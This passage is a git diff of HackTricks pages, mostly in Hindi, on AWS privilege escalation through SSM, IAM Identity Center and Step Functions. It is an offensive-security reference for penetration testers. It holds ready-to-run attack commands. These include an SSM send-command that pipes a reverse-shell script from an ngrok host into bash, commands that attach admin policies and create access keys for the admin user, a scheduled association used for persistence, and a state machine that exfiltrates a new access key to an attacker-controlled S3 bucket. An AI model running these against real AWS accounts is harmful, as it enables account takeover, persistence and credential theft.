+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
+```
+यदि आप इस तकनीक का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस स्थानीय रूप से rev shell को capture कर सकते हैं:
+```bash
+# If you are in the machine you can capture the reverseshel inside of it
+nc -lvnp 4444 #Inside the EC2 instance
+aws ssm send-command --instance-ids "$INSTANCE_ID" \
+--document-name "AWS-RunShellScript" --output text \
+--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
+```
+**Potential Impact:** EC2 IAM roles जो SSM Agents चलाने वाले इंस्टेंस से जुड़े हैं, उन पर प्रत्यक्ष privesc।
+
+### `ssm:StartSession`
+
+जिसके पास अनुमति **`ssm:StartSession`** है, एक attacker Amazon SSM Agent चलाने वाले इंस्टेंस में **SSH जैसी session शुरू कर सकता है** और उसके अंदर चल रहे **IAM Role** को compromise कर सकता है।
+```bash
+# Check for configured instances
+aws ssm describe-instance-information
+aws ssm describe-sessions --state Active
+
+# Send rev shell command
+aws ssm start-session --target "$INSTANCE_ID"
+```
+> [!CAUTION]
+> सेशन शुरू करने के लिए आपके पास **SessionManagerPlugin** इंस्टॉल होना चाहिए: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
+
+**Potential Impact:** EC2 IAM roles पर सीधे privesc जो उन running instances से जुड़ी हों जिन पर SSM Agents चल रहे हों।
+
+#### Privesc to ECS
+
+जब **ECS tasks** **`ExecuteCommand` enabled** के साथ चलती हैं, पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके container के अंदर **कमांड चलाना** कर सकते हैं.\
+[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार यह उस डिवाइस और लक्ष्य container के बीच SSM Session Manager के साथ एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “_exec_“ कमांड आरंभ करने के लिए करते हैं। (SSM Session Manager Plugin necesary for this to work)\
+इसलिए, जिन उपयोगकर्ताओं के पास `ssm:StartSession` है, वे उस विकल्प सक्षम होने पर बस निम्नलिखित चलाकर **ECS tasks के अंदर एक shell प्राप्त कर पाएँगे**:
+```bash
+aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
+```
+![](<../../../images/image (185).png>)
+
+**संभावित प्रभाव:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
+
+### `ssm:ResumeSession`
+
+जिस attacker के पास permission **`ssm:ResumeSession`** है, वह re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state और **compromise the IAM Role** जो इसके अंदर चल रहा है, कर सकता है।
+```bash
+# Check for configured instances
+aws ssm describe-sessions
+
+# Get resume data (you will probably need to do something else with this info to connect)
+aws ssm resume-session \
+--session-id Mary-Major-07a16060613c408b5
+```
+**Potential Impact:** Direct privesc उन EC2 IAM roles पर जो running instances से जुड़े हैं और जिन पर SSM Agents चल रहे हों और disconnected sessions मौजूद हों।
+
+### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
+
+उल्लिखित अनुमतियाँ रखने वाला attacker सक्षम होगा **SSM parameters** को सूचीबद्ध करने के लिए और **उन्हें clear-text में पढ़ने** के लिए। इन parameters में अक्सर आप संवेदनशील जानकारी पा सकते हैं, जैसे SSH keys या API keys।
+```bash
+aws ssm describe-parameters
+# Suppose that you found a parameter called "id_rsa"
+aws ssm get-parameters --names id_rsa --with-decryption
+aws ssm get-parameter --name id_rsa --with-decryption
+```
+**संभावित प्रभाव:** पैरामीटरों के अंदर संवेदनशील जानकारी मिल सकती है।
+
+### `ssm:ListCommands`
+
+इस अनुमति के साथ एक attacker भेजे गए सभी **commands** की सूची देख सकता है और संभवतः उन पर **संवेदनशील जानकारी** पा सकता है।
+```
+aws ssm list-commands
+```
+**संभावित प्रभाव:** कमांड लाइनों के भीतर संवेदनशील जानकारी मिल सकती है।
+
+### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
+
+इन अनुमतियों वाला हमलावर भेजे गए सभी **commands** को सूचीबद्ध कर सकता है और उत्पन्न होने वाले **read the output** को पढ़ सकता है, जिससे उम्मीद है कि उसे उसमें **sensitive information** मिल जाएगी।
+```bash
+# You can use any of both options to get the command-id and instance id
+aws ssm list-commands
+aws ssm list-command-invocations
+
+aws ssm get-command-invocation --command-id  --instance-id 
+```
+**संभावित प्रभाव:** कमांड आउटपुट में संवेदनशील जानकारी का पता चल सकता है।
+
+### ssm:CreateAssociation का उपयोग
+
+परमिशन **`ssm:CreateAssociation`** रखने वाला एक हमलावर State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 instances पर कमांड्स स्वचालित रूप से निष्पादित करता है। इन associations को एक निश्चित अंतराल पर चलने के लिए कॉन्फ़िगर किया जा सकता है, जो इन्हें interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त बनाता है।
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> यह persistence method तब तक काम करता है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations बनाने की permission है। इसमें interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` parameter (उदा., `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का पालन करना होगा। तत्काल या एक बार के execution के लिए, `--schedule-expression` को पूरी तरह हटा दें — association बनते ही एक बार execute होगा।
+
+### Codebuild
+
+आप SSM का उपयोग करके बन रहे codebuild project के अंदर भी पहुँच सकते हैं:
+
+{{#ref}}
+../aws-codebuild-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
deleted file mode 100644
index bffca6f12..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ /dev/null
@@ -1,112 +0,0 @@
-# AWS - SSO & identitystore Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## AWS Identity Center / AWS SSO
-
-AWS Identity Center / AWS SSO के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-> [!WARNING]
-> ध्यान दें कि **डिफ़ॉल्ट** रूप से, केवल **प्रबंधन खाता** के साथ **अनुमतियाँ** वाले **उपयोगकर्ता** IAM Identity Center तक पहुँच और **नियंत्रण** कर सकेंगे।\
-> अन्य खातों के उपयोगकर्ता केवल तभी अनुमति दे सकते हैं यदि खाता **प्रतिनिधि प्रशासक** है।\
-> [अधिक जानकारी के लिए दस्तावेज़ देखें।](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
-
-### ~~पासवर्ड रीसेट करें~~
-
-इस तरह के मामलों में विशेषाधिकार बढ़ाने का एक आसान तरीका यह होगा कि एक अनुमति हो जो उपयोगकर्ताओं के पासवर्ड रीसेट करने की अनुमति देती है। दुर्भाग्यवश, केवल उपयोगकर्ता को उसके पासवर्ड को रीसेट करने के लिए एक ईमेल भेजना संभव है, इसलिए आपको उपयोगकर्ता के ईमेल तक पहुँच की आवश्यकता होगी।
-
-### `identitystore:CreateGroupMembership`
-
-इस अनुमति के साथ, एक उपयोगकर्ता को एक समूह के अंदर सेट करना संभव है ताकि वह समूह की सभी अनुमतियाँ विरासत में ले सके।
-```bash
-aws identitystore create-group-membership --identity-store-id  --group-id  --member-id UserId=
-```
-### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
-
-इस अनुमति के साथ एक हमलावर एक Permission Set को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।
-```bash
-# Set an inline policy with admin privileges
-aws sso-admin put-inline-policy-to-permission-set --instance-arn  --permission-set-arn  --inline-policy file:///tmp/policy.yaml
-
-# Content of /tmp/policy.yaml
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Statement1",
-"Effect": "Allow",
-"Action": ["*"],
-"Resource": ["*"]
-}
-]
-}
-
-# Update the provisioning so the new policy is created in the account
-aws sso-admin provision-permission-set --instance-arn  --permission-set-arn  --target-type ALL_PROVISIONED_ACCOUNTS
-```
-### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
-
-इस अनुमति के साथ एक हमलावर एक अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।
-```bash
-# Set AdministratorAccess policy to the permission set
-aws sso-admin attach-managed-policy-to-permission-set --instance-arn  --permission-set-arn  --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
-
-# Update the provisioning so the new policy is created in the account
-aws sso-admin provision-permission-set --instance-arn  --permission-set-arn  --target-type ALL_PROVISIONED_ACCOUNTS
-```
-### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
-
-इस अनुमति के साथ एक हमलावर एक Permission Set को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है।
-
-> [!WARNING]
-> इन अनुमतियों का दुरुपयोग करने के लिए, आपको यह जानना आवश्यक है कि **एक ग्राहक प्रबंधित नीति का नाम जो सभी खातों के अंदर है** जो प्रभावित होने वाले हैं।
-```bash
-# Set AdministratorAccess policy to the permission set
-aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn  --permission-set-arn  --customer-managed-policy-reference 
-
-# Update the provisioning so the new policy is created in the account
-aws sso-admin provision-permission-set --instance-arn  --permission-set-arn  --target-type ALL_PROVISIONED_ACCOUNTS
-```
-### `sso:CreateAccountAssignment`
-
-इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को अपने नियंत्रण में एक खाता देने के लिए एक अनुमति सेट दे सकता है।
-```bash
-aws sso-admin create-account-assignment --instance-arn  --target-id  --target-type AWS_ACCOUNT --permission-set-arn  --principal-type USER --principal-id 
-```
-### `sso:GetRoleCredentials`
-
-उपयोगकर्ता को सौंपे गए एक निर्दिष्ट भूमिका नाम के लिए STS अल्पकालिक क्रेडेंशियल्स लौटाता है।
-```
-aws sso get-role-credentials --role-name  --account-id  --access-token 
-```
-हालांकि, आपको एक एक्सेस टोकन की आवश्यकता है जिसे प्राप्त करने का मुझे यकीन नहीं है (TODO).
-
-### `sso:DetachManagedPolicyFromPermissionSet`
-
-इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से AWS प्रबंधित नीति के बीच संबंध को हटा सकता है। **एक प्रबंधित नीति (निषेध नीति) को हटाकर** अधिक विशेषाधिकार प्रदान करना संभव है।
-```bash
-aws sso-admin detach-managed-policy-from-permission-set --instance-arn  --permission-set-arn  --managed-policy-arn 
-```
-### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
-
-इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से ग्राहक प्रबंधित नीति के बीच संबंध को हटा सकता है। **एक प्रबंधित नीति (निषेध नीति) को हटाकर** अधिक विशेषाधिकार प्रदान करना संभव है।
-```bash
-aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn  --permission-set-arn  --customer-managed-policy-reference 
-```
-### `sso:DeleteInlinePolicyFromPermissionSet`
-
-इस अनुमति के साथ एक हमलावर अनुमति सेट से एक इनलाइन नीति से अनुमतियों को हटाने की क्रिया कर सकता है। एक इनलाइन नीति (निषेध नीति) को अलग करके **अधिक विशेषाधिकार प्रदान करना संभव है**।
-```bash
-aws sso-admin delete-inline-policy-from-permission-set --instance-arn  --permission-set-arn 
-```
-### `sso:DeletePermissionBoundaryFromPermissionSet`
-
-इस अनुमति के साथ एक हमलावर अनुमति सेट से Permission Boundary को हटा सकता है। यह **Permission Boundary से दी गई अनुमति सेट पर प्रतिबंधों को हटाकर अधिक अधिकार देने** की संभावना है।
-```bash
-aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn  --permission-set-arn 
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
new file mode 100644
index 000000000..f7004354a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
@@ -0,0 +1,112 @@
+# AWS - SSO & identitystore Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## AWS Identity Center / AWS SSO
+
+For more information about AWS Identity Center / AWS SSO check:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+> [!WARNING]
+> ध्यान दें कि **डिफ़ॉल्ट** रूप से केवल **Management Account** के उन **users** को ही **permissions** मिलने पर IAM Identity Center को एक्सेस और **control** करने में सक्षम होंगे।\
+> अन्य खातों के users केवल तभी ऐसा कर पाएँगे जब वह खाता एक **Delegated Adminstrator.** हो।\
+> [अधिक जानकारी के लिए दस्तावेज़ देखें.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
+
+### ~~Reset Password~~
+
+ऐसे मामलों में privileges escalate करने का एक आसान तरीका ऐसा permission होना है जो users के passwords reset करने की अनुमति दे। दुर्भाग्यवश केवल user को password reset करने के लिए ईमेल भेजना संभव है, इसलिए आपको user के ईमेल तक पहुँच होना चाहिए।
+
+### `identitystore:CreateGroupMembership`
+
+इस permission के साथ किसी user को किसी group में जोड़ना संभव है, जिससे वह group के सभी permissions inherit कर लेगा।
+```bash
+aws identitystore create-group-membership --identity-store-id  --group-id  --member-id UserId=
+```
+### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`
+
+इस अनुमति वाला हमलावर उस Permission Set को अतिरिक्त अनुमतियाँ दे सकता है, जो उसके नियंत्रण वाले user को प्रदान की गई है।
+```bash
+# Set an inline policy with admin privileges
+aws sso-admin put-inline-policy-to-permission-set --instance-arn  --permission-set-arn  --inline-policy file:///tmp/policy.yaml
+
+# Content of /tmp/policy.yaml
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Statement1",
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": ["*"]
+}
+]
+}
+
+# Update the provisioning so the new policy is created in the account
+aws sso-admin provision-permission-set --instance-arn  --permission-set-arn  --target-type ALL_PROVISIONED_ACCOUNTS
+```
+### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`
+
+इस अनुमति वाले हमलावर किसी user को दिए गए Permission Set को अतिरिक्त अनुमतियाँ प्रदान कर सकता है।
+```bash
+# Set AdministratorAccess policy to the permission set
+aws sso-admin attach-managed-policy-to-permission-set --instance-arn  --permission-set-arn  --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
+
+# Update the provisioning so the new policy is created in the account
+aws sso-admin provision-permission-set --instance-arn  --permission-set-arn  --target-type ALL_PROVISIONED_ACCOUNTS
+```
+### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
+
+इस अनुमति वाले एक हमलावर उस नियंत्रण में मौजूद किसी user को दिया गया Permission Set में अतिरिक्त permissions दे सकता है।
+
+> [!WARNING]
+> इस मामले में इन permissions का दुरुपयोग करने के लिए आपको उस **customer managed policy का नाम जानना होगा जो प्रभावित होने वाले ALL accounts के अंदर मौजूद है।**
+```bash
+# Set AdministratorAccess policy to the permission set
+aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn  --permission-set-arn  --customer-managed-policy-reference 
+
+# Update the provisioning so the new policy is created in the account
+aws sso-admin provision-permission-set --instance-arn  --permission-set-arn  --target-type ALL_PROVISIONED_ACCOUNTS
+```
+### `sso:CreateAccountAssignment`
+
+इस अनुमति के साथ attacker अपने नियंत्रण वाले user को किसी account में एक Permission Set दे सकता है।
+```bash
+aws sso-admin create-account-assignment --instance-arn  --target-id  --target-type AWS_ACCOUNT --permission-set-arn  --principal-type USER --principal-id 
+```
+### `sso:GetRoleCredentials`
+
+उपयोगकर्ता को असाइन किए गए एक दिए गए role name के लिए STS के अल्पकालिक क्रेडेंशियल्स लौटाता है।
+```
+aws sso get-role-credentials --role-name  --account-id  --access-token 
+```
+हालाँकि, आपको एक access token की आवश्यकता है जिसे मैं कैसे प्राप्त करूँ यह निश्चित नहीं है (TODO)।
+
+### `sso:DetachManagedPolicyFromPermissionSet`
+
+इस अनुमति वाले attacker निर्दिष्ट permission set से AWS managed policy के बीच के एसोसिएशन को हटा सकते हैं। **detaching a managed policy (deny policy)** के जरिए और अधिक privileges प्रदान करना संभव है।
+```bash
+aws sso-admin detach-managed-policy-from-permission-set --instance-arn  --permission-set-arn  --managed-policy-arn 
+```
+### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`
+
+इस अनुमति वाले हमलावर निर्दिष्ट permission set से ग्राहक-प्रबंधित नीति के बीच संबंध हटा सकते हैं। अधिक अधिकार प्रदान करना संभव है **प्रबंधित नीति को अलग करके (deny policy)**।
+```bash
+aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn  --permission-set-arn  --customer-managed-policy-reference 
+```
+### `sso:DeleteInlinePolicyFromPermissionSet`
+
+इस permission के साथ एक attacker permission set के किसी inline policy से permissions को remove कर सकता है। यह संभव है कि **more privileges via detaching an inline policy (deny policy)** दिए जा सकें।
+```bash
+aws sso-admin delete-inline-policy-from-permission-set --instance-arn  --permission-set-arn 
+```
+### `sso:DeletePermissionBoundaryFromPermissionSet`
+
+इस permission के साथ एक attacker permission set से Permission Boundary को हटा सकता है। Permission Boundary द्वारा दिए गए Permission Set पर प्रतिबंध हटाकर **अधिक privileges प्रदान किए जा सकते हैं।**
+```bash
+aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn  --permission-set-arn 
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
deleted file mode 100644
index d26d69b8c..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - Step Functions Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-इस AWS सेवा के बारे में अधिक जानकारी के लिए, देखें:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Task Resources
-
-ये विशेषाधिकार वृद्धि तकनीकें कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग करने की आवश्यकता होंगी ताकि इच्छित विशेषाधिकार वृद्धि क्रियाएँ की जा सकें।
-
-सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने स्वयं के AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि:
-
-

-
-या आप AWS API दस्तावेज़ में भी जा सकते हैं और प्रत्येक क्रिया के दस्तावेज़ की जांच कर सकते हैं:
-
-- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
-- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
-
-### `states:TestState` & `iam:PassRole`
-
-एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है जिनके पास भूमिकाओं की अनुमतियाँ हैं। मिलकर, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि।
-```bash
-aws states test-state --definition  --role-arn  [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
-```
-निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-privileged नीति का संबंध होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है:
-
-- **stateDefinition.json**:
-```json
-{
-"Type": "Task",
-"Parameters": {
-"UserName": "admin"
-},
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"End": true
-}
-```
-- **कमांड** जो प्रिवेस्क करने के लिए निष्पादित की गई:
-```bash
-aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole
-
-{
-"output": "{
-\"AccessKey\":{
-\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
-\"CreateDate\":\"2024-07-09T16:59:11Z\",
-\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
-\"Status\":\"Active\",
-\"UserName\":\"admin\"
-}
-}",
-"status": "SUCCEEDED"
-}
-```
-**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।
-
-### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
-
-एक हमलावर जिसके पास **`states:CreateStateMachine`**& **`iam:PassRole`** है, वह एक राज्य मशीन बना सकेगा और इसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमतियाँ हैं। पिछले प्रिवेस्क तकनीक (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको राज्य मशीन पर निष्पादन शुरू करने के लिए **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियों की भी आवश्यकता होगी (**`states:StartSyncExecution`** **मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है**, **केवल व्यक्त राज्य मशीनों के लिए**)।
-```bash
-# Create a state machine
-aws states create-state-machine --name  --definition  --role-arn  [--type ] [--logging-configuration ]\
-[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
-
-# Start a state machine execution
-aws states start-execution --state-machine-arn  [--name ] [--input ] [--trace-header ]
-
-# Start a Synchronous Express state machine execution
-aws states start-sync-execution --state-machine-arn  [--name ] [--input ] [--trace-header ]
-```
-निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य मशीन बनाई जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाती है और इस एक्सेस कुंजी को एक हमलावर-नियंत्रित S3 बकेट में निकालती है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ किसी उच्च-विशिष्ट नीति का संबंध होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य मशीन को **`iam:CreateAccessKey`** और **`s3:putObject`** क्रियाएँ करने की अनुमति देती है।
-
-- **stateMachineDefinition.json**:
-```json
-{
-"Comment": "Malicious state machine to create IAM access key and upload to S3",
-"StartAt": "CreateAccessKey",
-"States": {
-"CreateAccessKey": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
-"Parameters": {
-"UserName": "admin"
-},
-"ResultPath": "$.AccessKeyResult",
-"Next": "PrepareS3PutObject"
-},
-"PrepareS3PutObject": {
-"Type": "Pass",
-"Parameters": {
-"Body.$": "$.AccessKeyResult.AccessKey",
-"Bucket": "attacker-controlled-S3-bucket",
-"Key": "AccessKey.json"
-},
-"ResultPath": "$.S3PutObjectParams",
-"Next": "PutObject"
-},
-"PutObject": {
-"Type": "Task",
-"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
-"Parameters": {
-"Body.$": "$.S3PutObjectParams.Body",
-"Bucket.$": "$.S3PutObjectParams.Bucket",
-"Key.$": "$.S3PutObjectParams.Key"
-},
-"End": true
-}
-}
-}
-```
-- **Command** executed to **create the state machine**:
-```bash
-aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
-{
-"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
-"creationDate": "2024-07-09T20:29:35.381000+02:00"
-}
-```
-- **कमांड** जो **पहले से बनाए गए राज्य मशीन** का **निष्पादन शुरू करने** के लिए निष्पादित की गई:
-```json
-aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
-{
-"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
-"startDate": "2024-07-09T20:33:35.466000+02:00"
-}
-```
-> [!WARNING]
-> हमलावर-नियंत्रित S3 बकेट को पीड़ित खाते से s3:PutObject क्रिया स्वीकार करने के लिए अनुमतियाँ होनी चाहिए।
-
-**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकता है।
-
-### `states:UpdateStateMachine` & (हमेशा आवश्यक नहीं) `iam:PassRole`
-
-एक हमलावर जिसके पास **`states:UpdateStateMachine`** अनुमति है, वह एक राज्य मशीन की परिभाषा को संशोधित कर सकेगा, अतिरिक्त छिपे हुए राज्यों को जोड़ने में सक्षम होगा जो विशेषाधिकार वृद्धि में समाप्त हो सकते हैं। इस तरह, जब एक वैध उपयोगकर्ता राज्य मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण छिपा हुआ राज्य निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी।
-
-इस पर निर्भर करते हुए कि राज्य मशीन से संबंधित IAM भूमिका कितनी उदार है, एक हमलावर को 2 स्थितियों का सामना करना पड़ेगा:
-
-1. **उदार IAM भूमिका**: यदि राज्य मशीन से संबंधित IAM भूमिका पहले से ही उदार है (उदाहरण के लिए, इसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है), तो विशेषाधिकार बढ़ाने के लिए **`iam:PassRole`** अनुमति की आवश्यकता नहीं होगी क्योंकि IAM भूमिका को अपडेट करना आवश्यक नहीं होगा, राज्य मशीन की परिभाषा पर्याप्त है।
-2. **गैर-उदार IAM भूमिका**: पिछले मामले के विपरीत, यहाँ एक हमलावर को **`iam:PassRole`** अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन से संबंधित एक उदार IAM भूमिका को जोड़ना आवश्यक होगा इसके अलावा राज्य मशीन की परिभाषा को संशोधित करना।
-```bash
-aws states update-state-machine --state-machine-arn  [--definition ] [--role-arn ] [--logging-configuration ] \
-[--tracing-configuration ] [--publish | --no-publish] [--version-description ]
-```
-निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध स्टेट मशीन को अपडेट किया जाए जो केवल एक HelloWorld Lambda फ़ंक्शन को कॉल करती है, ताकि एक अतिरिक्त स्टेट जोड़ा जा सके जो उपयोगकर्ता **`unprivilegedUser`** को **`administrator`** IAM समूह में जोड़ता है। इस तरह, जब एक वैध उपयोगकर्ता अपडेट की गई स्टेट मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण स्टील्थ स्टेट निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी।
-
-> [!WARNING]
-> यदि स्टेट मशीन के साथ कोई अनुमति देने वाली IAM भूमिका संबद्ध नहीं है, तो एक अनुमति देने वाली IAM भूमिका को संबद्ध करने के लिए IAM भूमिका को अपडेट करने के लिए **`iam:PassRole`** अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है)।
-
-{{#tabs }}
-{{#tab name="Legit State Machine" }}
-```json
-{
-"Comment": "Hello world from Lambda state machine",
-"StartAt": "Start PassState",
-"States": {
-"Start PassState": {
-"Type": "Pass",
-"Next": "LambdaInvoke"
-},
-"LambdaInvoke": {
-"Type": "Task",
-"Resource": "arn:aws:states:::lambda:invoke",
-"Parameters": {
-"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
-},
-"Next": "End PassState"
-},
-"End PassState": {
-"Type": "Pass",
